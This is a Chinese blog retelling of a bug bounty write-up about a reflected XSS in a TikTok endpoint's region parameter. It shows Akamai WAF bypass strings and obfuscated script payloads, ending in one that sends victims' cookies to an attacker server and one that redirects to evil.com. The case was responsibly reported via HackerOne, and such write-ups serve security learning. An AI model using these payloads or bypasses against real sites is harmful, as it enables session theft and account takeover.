白帽故事 · 2025年7月14日

错过游戏时光,意外在 TikTok 赚取 3000 美元的故事

file

文末有彩蛋。

前言

一个普通的夜晚,国外白帽小哥的朋友邀请其共同玩耍游戏,出于某种原因,白帽小哥拒绝了与朋友共度游戏的时光,却意外的赚取了 3k 美金。让我们开始吧~

前期侦察

白帽小哥使用 urlscan.io 扫描了 TikTok 域名相关的端点,经过一番挖掘,最终获得了一个庞大的列表——大约有 1万个 URL。

接下来是漫长的手动浏览,无意中在一个看似活动分享功能的路径下发现了一处端点,该 URL 附加了多个参数——这成功引起了白帽小哥的好奇心。

小哥开始尝试 region 参数,为了测试反射,小哥首先输入了一个无害的Payload:

?region=id'"><u>testest</u>

居然没有被任何过滤和编码。

遭遇WAF

使用经典的 Payload 进行测试:

"><img src=x onerror=alert(document.domain)>

直接被 Akamai 阻拦——TikTok 的御用 WAF。

尝试绕过

小哥开始研究 Akamai WAF 绕过技术,期间发现了一些很不错的文章,讨论了字符串混淆、大小写敏感性和标签规避等。

一些常见的尝试包括:

</ScRiPt>      → 拦截
</SCRIPT>      → 拦截
</ScRpt>       → 未拦截,但不可用
</Script+xxx>  → 短暂绕过,但最终再次被过滤

Payload 进化

经过多次失败尝试,白帽小哥想到一个看起来奇怪但有效的绕过字符串:

}<x>xxx<!--><!>+>+></Script+xxx></script%20x></x><x>xxx<!--><!>+>+>

成功绕过过滤——但 alert()、confirm() 和 prompt() 在运行时依然会被阻止。

为了谨慎起见,小哥首先提交了漏洞,并使用一个开放重定向来避免潜在的重复提交。

两天后,收到了 HackerOne 的回复(大致意思是:很高兴收到你的漏洞报告,但开放重定向不在漏洞范围内,你可以尝试提升为 XSS,窃取 Cookie 等漏洞):

file

制作真正的 XSS

由于直接 alert() 被拦截,小哥开始尝试使用混淆访问方式将其分解:

window/*xxx*/ ;

完整 Payload:

<x>xxx<!--><!>+>+></Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<!--><!>+>+>

成功!小哥迅速更新了 PoC 并再次提交漏洞报告,获得漏洞回复(大致意思是:只是一个 alert 弹窗的话,只能算低危漏洞,可尝试改进 PoC 来提升漏洞等级):

file

小哥最终使用了下面的 Payload 实现了 Cookie 窃取:

window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' + 'kie'];

完整的 Payload 如下:

}<x>xxx<!--><!>+>+></Script+xxx><Script+xxx>Object.prototype.BOOMR = 1;
Object.prototype.url = 'https://portswigger-labs.net/xss/xss.js';
location.replace('https://evil.com');</script%20x></x><x>xxx<!--><!>+>+>

file

有效 XSS 被确认,一天之后——$1,000 赏金奖励到账。

成功之后,小哥继续在同一路径中发掘了更多端点,最终发现了两个具有相同漏洞的端点,共计获得 3000 美元赏金奖励。

原文下方的评论区中有一条评论很有意思:

file

希望本文对你有所启发~

原文:https://medium.com/legionhunters/no-gaming-just-hacking-how-i-made-3k-on-tiktok-bug-bounty-program-2b2e41be276e